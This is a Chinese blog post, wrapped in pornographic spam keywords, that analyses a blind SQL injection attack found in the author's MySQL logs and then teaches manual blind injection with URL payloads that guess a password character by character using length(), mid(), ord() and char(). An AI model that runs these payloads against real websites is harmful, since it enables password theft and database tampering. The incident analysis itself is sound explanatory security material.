国产成人精品久久免费动漫-国产成人精品天堂-国产成人精品区在线观看-国产成人精品日本-a级毛片无码免费真人-a级毛片毛片免费观看久潮喷

您的位置:首頁技術文章
文章詳情頁

遭遇一次MySQL猜解注入攻擊

瀏覽:3日期:2023-10-17 11:34:19

前些日子數(shù)據(jù)庫被入侵,文章的閱讀數(shù)都被纂改了,還好及時發(fā)現(xiàn)并做好備份。查一下 MySQL 語句記錄,發(fā)現(xiàn)這么原來是這么一句 SQL 在搗鬼:

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#

PS:user 這個表是數(shù)據(jù)庫里一個以前測試用的表,表的結(jié)構(gòu)也寫到博文里面,暴露了字段。

這句 SQL 為什么能那么厲害呢?我們接下來分析一下。

1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數(shù)可用來獲取一個類型的值,并產(chǎn)生另一個類型的值。具體的使用可以參看 MySQL CAST與CONVERT 函數(shù)的用法這篇文章。我們執(zhí)行一下,看看結(jié)果是什么:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;+-------------------------+| CAST(FirstName AS CHAR) |+-------------------------+| Gonn || Mio || Google || yale |+-------------------------+4 rows in set

就是將 FirstName 這個字段全部轉(zhuǎn)成 CHAR 類型。

2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數(shù)用法》。

執(zhí)行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;+--------------------------------------+| IFNULL(CAST(FirstName AS CHAR),0x20) |+--------------------------------------+| Gonn || Mio || Google || yale |+--------------------------------------+4 rows in set

雖然看起來結(jié)果沒啥不同,但是,它起到了一個作用。假設 CAST 轉(zhuǎn)換成 CHAR 失敗,它就會返回 0x20 這個值,為后面的 ORD 提供作用。

3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數(shù)就是截取字符串用的,具體可以看看《MySQL MID()函數(shù)用法》這個。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);+----------------------------------------------------------------------------------------+| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |+----------------------------------------------------------------------------------------+| i |+----------------------------------------------------------------------------------------+1 row in set

就得到一個字母 i。

4. 關鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數(shù)返回字符串第一個字符的 ASCII 值, 《《MySQL ORD()函數(shù)用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));+---------------------------------------------------------------------------------------------+| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |+---------------------------------------------------------------------------------------------+| 105 |+---------------------------------------------------------------------------------------------+1 row in set

就是 i 的 ASCII 碼是105.

如果是失敗,返回 0x20 這種情況:

mysql> SELECT ORD(’0x20’);+-------------+| ORD(’0x20’) |+-------------+| 48 |+-------------+1 row in set

兩種情況,在 ASCII 碼中都要比 112 前,就是下面的 hack 語句是可以執(zhí)行的。

UPDATE table SET views = ’1’ WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#MySQL 猜解注入

在 MySQL 中內(nèi)置了很多函數(shù),利用它們,即使在沒有聯(lián)合查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設網(wǎng)站存在于http://www.nm.net/,我們想知道用戶ID等于10的用戶的密碼,那么首先進行如下請求:

http://www.nm.net/index.php?id=10 and length(password)=12#

我們通過 length() 函數(shù)以及是否正確返回正常頁面來確定用戶密碼的長度,這里我們猜解的是12位,注意數(shù)字后要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字符,如果猜對了則頁面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#

Mid()函數(shù)原型是“Mid(str,pos,len)”,也可以用substring()函數(shù)。Char()函數(shù)的參數(shù)是ASCII值,在0~255之間,一個遍歷過去就可以完成破解。

另外還可以用between()函數(shù)先判斷這個字符是數(shù)字還是字母,縮小范圍,加快暴力破解的速度。例如要判斷字符是否是小寫字母還可以用如下請求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

除了char()函數(shù),還可以用ord函數(shù)來進行猜解。Ord函數(shù)可以得到字符的ASCII值,所以它也能實現(xiàn)類似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#

用ord函數(shù)的另一個好處就是可以使用大于小于這種運算符來確定字符的范圍:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#

就這樣慢慢一步步手工猜解注入。

相關文章:
主站蜘蛛池模板: 国产成人福利夜色影视 | 真实偷清晰对白在线视频 | 手机看片国产精品 | 亚洲夜色夜色综合网站 | 亚洲欧洲日产国码二区在线 | 在线国产二区 | 欧美人性影片免费看 | 综合亚洲欧美日韩一区二区 | 日本三级香港三级乳网址 | 国产视频一区二区三区四区 | 亚洲第一网站在线观看 | 日韩一级视频在线观看播放 | 国产国产人免费视频成69堂 | 男人的天堂欧美精品色偷偷 | 日朝欧美亚洲精品 | 免费播放欧美毛片 | 日本精品网 | 国产精品久久久久久一区二区 | 亚洲男人的天堂在线 | 亚洲欧美日韩国产制服另类 | 成人国产片免费 | 天堂va欧美ⅴa亚洲va一国产 | 毛片手机在线视频免费观看 | 国产精品免费看久久久香蕉 | 午夜爽爽爽 | 欧美日韩在线国产 | 日韩女人做爰大片 | a国产| 日韩精品一区二区三区毛片 | 国产在线播放不卡 | 日本视频一区二区三区 | 国产成人精品magnet | 久久99亚洲精品久久 | 国产欧美成人一区二区三区 | 国产日韩欧美精品一区 | 色噜噜亚洲男人的天堂 | 国产一区三区二区中文在线 | 手机国产精品一区二区 | 中文字幕精品一区二区2021年 | 成人免费观看高清在线毛片 | 成人免费视频播放 |